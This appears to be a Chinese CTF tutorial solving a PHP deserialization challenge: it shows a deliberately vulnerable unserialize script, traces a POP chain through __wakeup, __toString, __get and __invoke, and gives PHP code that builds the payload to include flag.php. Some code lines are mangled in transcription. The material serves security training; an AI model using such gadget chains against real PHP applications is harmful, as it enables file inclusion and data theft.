反序列化提升刷题

例题:

<?php

//flag is in flag.php

highlight_file(FILE);

error_reporting(0);

class Modifier {

private $var;

public function append($value)

{

include($value);

echo $flag;

}

public function __invoke(){

this-\>append(this->var);

}

}

class Show{

public $source;

public $str;

public function __toString(){

return $this->str->source;

}

public function __wakeup(){

echo $this->source;

}

}

class Test{

public $p;

public function __construct(){

$this->p = array();

}

public function __get($key){

function = this->p;

return $function();

}

}

if(isset($_GET['pop'])){

unserialize($_GET['pop']);

}

?>

这是一道经典的反序列化题目,如果有能力可以自己先做做,我的上一篇文章有反序列化的做题方法,大家如果做不出来自行去看就是。我这篇文章就是用五步法做出反序列化题目的,推荐大家可以看看我的上一篇文章五步法带你搞定反序列化难题-CSDN博客

学了方法用就是了,我的方法有五个步骤,可以带你解决大多数的反序列化难题。

第一步:先看哪个对象下面的函数和属性能够帮我执行恶意代码

public function append($value)

{

include($value);

echo $flag;

}

第二步:

我能控制的是啥?

if(isset($_GET['pop'])){

unserialize($_GET['pop']);

第三步:(大概看懂就好,没必要像我下面那样那么详细,只是为了大家能够更直观的理解而已。)

这串代码的正常情况下会怎么执行。

首先你先GET 'pop',经过反序列化以后

  1. 如果反序列化的对象是Show类的实例,那么在任何尝试将对象当作字符串打印出来时,都会调用__toString()魔术方法。这里的__toString()方法返回的是$this->str->source,即尝试访问str属性里的source属性。

  2. 如果反序列化的对象是Show类的实例,并且对象被销毁(例如在脚本执行结束时),__wakeup()方法会被调用。在这个例子中,__wakeup()方法会输出$this->source的值。

  3. 如果反序列化的对象是Test类的实例,并且尝试访问一个未定义的属性,__get()魔术方法会被调用。这个方法会尝试调用$this->p作为函数,这里$this->p应该是一个可调用的结构(比如是一个闭包或对象的方法)。

  4. 如果反序列化的对象是Modifier类的实例,并且对象以函数的方式被调用(由于实现了__invoke()魔术方法),__invoke()方法将被执行。该方法会调用append()方法,并将$this->var作为参数传递。append()方法会包含$value指定的文件,并尝试输出一个名为$flag的变量。

第四步:4.要执行恶意代码,该怎么做?(即为通过我所能控制的东西,如何才能执行恶意代码?)记住!!!!!!!!!!!!从后往前推导!!!

1.public function append($value)

{

include($value);

echo $flag;

}

这里有一个文件包含,首先你得调用append吧,往里面传个参数,value=flag.php

问:那怎么调用append呢?

public function __invoke(){

this-\>append(this->var);

}

}

答:通过触发invoke()------魔术方法,调用append,再使var=flag.php

问:invoke怎么触发?

答:把对象当成函数

问题:怎么把对象当成函数?

class Test{

public $p;

public function __construct(){

$this->p = array();

}

public function __get($key){

function = this->p;

return $function();

}

}

这串代码中有个return fuction就直接把function当成函数了

问:怎么触发return fuction?

答:触发get()------魔术方法,并且将p当成一个对象,就直接p=Modifier ,这样就能够满足触发invoke()------魔术方法,做到把对象当成函数。

问题:怎么触发get()------魔术方法?

答:调用不存在的成员属性

问:如何调用不存在的成员属性?

答:想想还有哪里没有使用的,(类-》实例-》属性)

class Show{

public $source;

public $str;

public function __toString(){

return $this->str->source;

}

public function __wakeup(){

echo $this->source;

}

}

触发tostring()------魔术方法,然后给$str赋值对象Test,因为Test中不存在成员属性source,所以就能够调用不存在的成员属性,从而触发get()------魔术方法

问:如何触发tostring()------魔术方法?

答:把对象当成字符串

问:如何把对象当成字符串?

答:相信大家仔细观察就能够发现整段代码就只剩下

public function __wakeup(){

echo $this->source;

}

这个没有使用了,

直接触发魔术方法wakeup()------将source赋值show,就是将自己这个对象赋值给source,就能把对象当成字符串,从而触发tostring()魔术方法

问题:如何触发wakeup()魔术方法?

答:反序列化会触发wakeup()魔术方法。(终于推导到我所能控制的东西了!!!)

第五步:分析完毕,直接注释掉一些代码,稍作整改,构造pop链。

像这样直接把不必要的fuction删除,输出那些也删除,报错的代码也删除,就只剩下了上面的代码,留下成员属性就好了。

接着$var=flag.php(私有属性只能在本来的类给他赋值)

$mod=new Modifier();

$test=new Test();

test-\>p=mod;

$show=new show();

show source=show;

show -\>str=test;

echo serialize($show);

本题到此结束,但是要注意Modifier下面的$var是个私有属性,所以得到的pop链Modifier两侧直接改成%00就好了。

希望大家可以从五步法中掌握更多的反序列化难题,真诚的希望大家能够从我的文章学到知识,如果觉得不错,希望大家可以收藏后吸收本文,在以后遇到反序列化难题的时候手里握着五步法,相信大家都能够从容不迫地应对。

-------------来自补天阁

相关推荐
独行soc7 小时前
2025年渗透测试面试题总结-234(题目+回答)
网络·python·安全·web安全·渗透测试·1024程序员节·安全狮
Whoami!13 小时前
⸢ 拾叁-Ⅱ⸥⤳ 安全水位评估框架(下):安全水位指标
网络安全·信息安全·安全水位指标
合作小小程序员小小店15 小时前
web安全开发,在线%服务器日志入侵检测%系统安全开发,基于Python,flaskWeb,正则表达式检测,mysql数据库
服务器·python·安全·web安全·flask·安全威胁分析·安全架构
还是奇怪18 小时前
隐藏在字符编码中的陷阱:深入剖析宽字节注入
数据库·sql·安全·web安全
介一安全18 小时前
从 0 到 1 玩转 2025 最新 WebGoat 靶场:环境搭建 + 全关卡漏洞解析(超级详细)
java·web安全·网络安全·靶场
闲人编程1 天前
Python在网络安全中的应用:编写一个简单的端口扫描器
网络·python·web安全·硬件·端口·codecapsule·扫描器
网安小白的进阶之路1 天前
A模块 系统与网络安全 第四门课 弹性交换网络-5
网络·安全·web安全
sadandbad1 天前
[vulhub靶机通关]DC-2(rbash绕过_git提权)
网络·sql·web安全·网络安全
民乐团扒谱机1 天前
实验室安全教育与管理平台学习记录(七)网络安全
学习·安全·web安全
普普通通的南瓜2 天前
共筑网络安全,守护绿色家园
安全·web安全·php